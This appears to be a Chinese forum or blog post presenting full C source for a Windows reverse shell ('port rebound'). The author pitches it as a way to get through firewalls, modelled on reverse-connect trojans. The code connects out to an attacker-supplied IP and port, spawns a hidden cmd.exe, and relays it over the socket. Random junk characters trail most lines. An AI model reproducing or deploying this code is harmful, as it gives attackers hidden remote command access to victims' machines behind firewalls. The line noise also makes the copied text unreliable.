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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WD[eoi  
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/* ============================== f V. c6  
Rebound port in Windows NT !.] JiT'o  
By wind,2006/7 7z{wYCw  
===============================*/ q!5:M\  
#include %SM;B-/zHt  
#include +J X;T(T  
senK (kbc  
#pragma comment(lib,"wsock32.lib") @LKQ-<dZG  
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void OutputShell(); \n) ',4mY  
SOCKET sClient; Nz,yd%ua  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R2~Tr$:  
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void main(int argc,char **argv) ` R6`"hx$  
{ \2i7\U  
WSADATA stWsaData; I0)`tQ +  
int nRet; w )R5P[b  
SOCKADDR_IN stSaiClient,stSaiServer; >1~ /:DJ  
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if(argc != 3) i6`"e[aT[o  
{ /8cRPB.  
printf("Useage:\n\rRebound DestIP DestPort\n"); |7s2xRc  
return; x<NPp&GE  
} BX@Iq  
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WSAStartup(MAKEWORD(2,2),&stWsaData); W(s4R,j  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9E!le=>  
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stSaiClient.sin_family = AF_INET; {m.$EoS  
stSaiClient.sin_port = htons(0); <>cS@V5j  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }rTH<! j  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6[> lzEZ  
{ X*8y"~X|vq  
printf("Bind Socket Failed!\n"); *v>ZE6CL  
return; -u2i"I730  
} n +~Dc[  
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stSaiServer.sin_family = AF_INET; E7fx4kV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `Lf'/q   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n|SV)92o1  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k_al*iM>H  
{ >qjV{M  
printf("Connect Error!"); }]?Si6_ZZ  
return; 1 DWoL}Z  
} 157_0  
OutputShell(); P3$eomX'  
} <B"sp r&1  
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void OutputShell() /0h *(nL  
{ <j'V}|3  
char szBuff[1024]; C6_(j48&  
SECURITY_ATTRIBUTES stSecurityAttributes; d2 ^}ooE  
OSVERSIONINFO stOsversionInfo; RU)35oEV|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y?VbgOM)  
STARTUPINFO stStartupInfo; woYD &Oml  
char *szShell; ie}O ZM  
PROCESS_INFORMATION stProcessInformation; 5,RUPaE  
unsigned long lBytesRead; T(4d5 fY  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %\As  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KhCP9(A=Qo  
stSecurityAttributes.lpSecurityDescriptor = 0; {|+Y;V`  
stSecurityAttributes.bInheritHandle = TRUE; (L_-!=e  
!d* [QD8  
S2~cAhR|M  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Zo9<96I&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JE?p'77C  
V|7YRa@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L+%"e w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ) nfoDG#O  
stStartupInfo.wShowWindow = SW_HIDE; N+-Tp&:wY  
stStartupInfo.hStdInput = hReadPipe; XZ rI w  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v0^9 "V:y  
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GetVersionEx(&stOsversionInfo); 8!g `bC#%  
S)rZE*~2  
switch(stOsversionInfo.dwPlatformId) z`y9<+  
{ YeX*IZX8  
case 1: KaGUpHw  
szShell = "command.com"; &c`-/8c  
break; dj|5'<l2  
default: ]|;+2@kDR  
szShell = "cmd.exe"; (}"D x3K  
break; ,w }Po  
} 0P^h6Vat  
g(DD8;]w<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8#I>`z^F  
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send(sClient,szMsg,77,0); A]1Nm3@  
while(1) prBLNZp  
{ J3Mb]X)_}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e5 =d Ev  
if(lBytesRead) 9N ]Xa  
{ wN 2+3LY{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (z?HyxRT  
send(sClient,szBuff,lBytesRead,0); ]' mbHkn68  
} \ /-c)  
else .J#'k+>  
{ aD/Rr3v>  
lBytesRead=recv(sClient,szBuff,1024,0); LzygupxY!  
if(lBytesRead<=0) break; ^\)a[OWp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HDyf]2N*N  
} -DDA b(2*  
} xVvUx,t  
'X~tt#T  
return; fSh5u/F!  
}
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